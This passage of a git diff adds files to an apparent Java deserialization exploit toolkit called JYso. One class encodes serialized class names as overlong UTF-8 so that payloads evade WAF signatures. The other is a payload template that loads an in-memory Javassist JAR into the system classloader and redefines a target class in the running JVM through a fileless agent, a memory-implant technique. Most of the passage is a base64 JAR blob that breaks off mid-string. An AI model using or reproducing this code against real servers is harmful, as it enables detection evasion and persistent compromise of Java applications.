com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; + +public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { + public static HashMap map = new HashMap() {{ + put('.', new int[]{0xc0, 0xae}); + put(';', new int[]{0xc0, 0xbb}); + put('$', new int[]{0xc0, 0xa4}); + put('[', new int[]{0xc1, 0x9b}); + put(']', new int[]{0xc1, 0x9d}); + put('a', new int[]{0xc1, 0xa1}); + put('b', new int[]{0xc1, 0xa2}); + put('c', new int[]{0xc1, 0xa3}); + put('d', new int[]{0xc1, 0xa4}); + put('e', new int[]{0xc1, 0xa5}); + put('f', new int[]{0xc1, 0xa6}); + put('g', new int[]{0xc1, 0xa7}); + put('h', new int[]{0xc1, 0xa8}); + put('i', new int[]{0xc1, 0xa9}); + put('j', new int[]{0xc1, 0xaa}); + put('k', new int[]{0xc1, 0xab}); + put('l', new int[]{0xc1, 0xac}); + put('m', new int[]{0xc1, 0xad}); + put('n', new int[]{0xc1, 0xae}); + put('o', new int[]{0xc1, 0xaf}); // 0x6f + put('p', new int[]{0xc1, 0xb0}); + put('q', new int[]{0xc1, 0xb1}); + put('r', new int[]{0xc1, 0xb2}); + put('s', new int[]{0xc1, 0xb3}); + put('t', new int[]{0xc1, 0xb4}); + put('u', new int[]{0xc1, 0xb5}); + put('v', new int[]{0xc1, 0xb6}); + put('w', new int[]{0xc1, 0xb7}); + put('x', new int[]{0xc1, 0xb8}); + put('y', new int[]{0xc1, 0xb9}); + put('z', new int[]{0xc1, 0xba}); + put('A', new int[]{0xc1, 0x81}); + put('B', new int[]{0xc1, 0x82}); + put('C', new int[]{0xc1, 0x83}); + put('D', new int[]{0xc1, 0x84}); + put('E', new int[]{0xc1, 0x85}); + put('F', new int[]{0xc1, 0x86}); + put('G', new int[]{0xc1, 0x87}); + put('H', new int[]{0xc1, 0x88}); + put('I', new int[]{0xc1, 0x89}); + put('J', new int[]{0xc1, 0x8a}); + put('K', new int[]{0xc1, 0x8b}); + put('L', new int[]{0xc1, 0x8c}); + put('M', new int[]{0xc1, 0x8d}); + put('N', new int[]{0xc1, 0x8e}); + put('O', new int[]{0xc1, 0x8f}); + put('P', new int[]{0xc1, 0x90}); + put('Q', new int[]{0xc1, 0x91}); + put('R', new int[]{0xc1, 0x92}); + put('S', new int[]{0xc1, 0x93}); + put('T', new int[]{0xc1, 0x94}); + put('U', new int[]{0xc1, 0x95}); + put('V', new int[]{0xc1, 0x96}); + put('W', new int[]{0xc1, 0x97}); + put('X', new int[]{0xc1, 0x98}); + put('Y', new int[]{0xc1, 0x99}); + put('Z', new int[]{0xc1, 0x9a}); + }}; + + public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeClassDescriptor(ObjectStreamClass desc) { + try { + String name = desc.getName(); + writeShort(name.length() * 2); + try { + for (int i = 0; i < name.length(); i++) { + char s = name.charAt(i); + write(map.get(s)[0]); + write(map.get(s)[1]); + } + } catch (Exception e) { + + } + writeLong(desc.getSerialVersionUID()); + byte flags = 0; + if ((Boolean) Reflections.getFieldValue(desc, "externalizable")) { + flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; + Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); + protocolField.setAccessible(true); + int protocol = (Integer) protocolField.get(this); + if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { + flags |= ObjectStreamConstants.SC_BLOCK_DATA; + } + } else if ((Boolean) Reflections.getFieldValue(desc, "serializable")) { + flags |= ObjectStreamConstants.SC_SERIALIZABLE; + } + if ((Boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) { + flags |= ObjectStreamConstants.SC_WRITE_METHOD; + } + if ((Boolean) Reflections.getFieldValue(desc, "isEnum")) { + flags |= ObjectStreamConstants.SC_ENUM; + } + writeByte(flags); + ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); + writeShort(fields.length); + for (int i = 0; i < fields.length; i++) { + ObjectStreamField f = fields[i]; + writeByte(f.getTypeCode()); + writeUTF(f.getName()); + if (!f.isPrimitive()) { + Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); + writeTypeString.setAccessible(true); + writeTypeString.invoke(this, f.getTypeString()); +// writeTypeString(f.getTypeString()); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java new file mode 100644 index 0000000..519ace2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentLoaderTemplate.java @@ -0,0 +1,112 @@ +package com.qi4l.JYso.template.Agent; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.List; + + +public class AgentLoaderTemplate extends ClassLoader { + public static String SU_URL_CONNECTION_BYTES; + + public static String SU_URL_STREAM_HANDLER_BYTES; + + public static String CLASS_MODIFIER_BYTES; + + public static String AGENT_NO_FILE_BYTES; + + public static String JAR_BODY; + + static { + try { + initJavassistJar(); + // 需要让 System ClassLoader 成为自己的父类,这样在后面打入 Javassist Jar 包之后,自己也能找到 javassist 的类 + AgentLoaderTemplate tmpl = new AgentLoaderTemplate(getSystemClassLoader()); + + try { + // 如果当前环境有 Javassist,则使用当前环境的 + Class.forName("javassist.CtClass", false, tmpl); + } catch (Exception ignored) { + // 在内存中打一个 Javassist 进去 + Class a = tmpl.defineClass(base64Decode(SU_URL_CONNECTION_BYTES)); + tmpl.defineClass(base64Decode(SU_URL_STREAM_HANDLER_BYTES)); + byte[] jarBytes = base64Decode(JAR_BODY); + URL url = (URL) a.getMethod("createURL", byte[].class, String.class).invoke(null, jarBytes, "application/jar"); + URLClassLoader classLoader = (URLClassLoader) getSystemClassLoader(); + Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + method.setAccessible(true); + method.invoke(classLoader, url); + } + + Class classModifier = tmpl.defineClass(base64Decode(CLASS_MODIFIER_BYTES)); + + // 反射调用,获取 Hook 类字节码,插入关键逻辑和需要的方法 Field 等 + Method method1 = classModifier.getMethod("insert", new Class[]{}); + method1.setAccessible(true); + List list = (List) method1.invoke(null); + String targetClassName = list.get(0).toString(); + byte[] newClassByte = (byte[]) list.get(1); + + // 执行 AgentNoFile 逻辑 + Class agent = tmpl.defineClass(base64Decode(AGENT_NO_FILE_BYTES)); + Method m = agent.getDeclaredMethod("redefineClasses", new Class[]{String.class, byte[].class}); + m.invoke(null, targetClassName, newClassByte); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public AgentLoaderTemplate() { + } + + public AgentLoaderTemplate(ClassLoader c) { + super(c); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception whatever) { + } + } + return value; + } + + public static void initJavassistJar() { + JAR_BODY = "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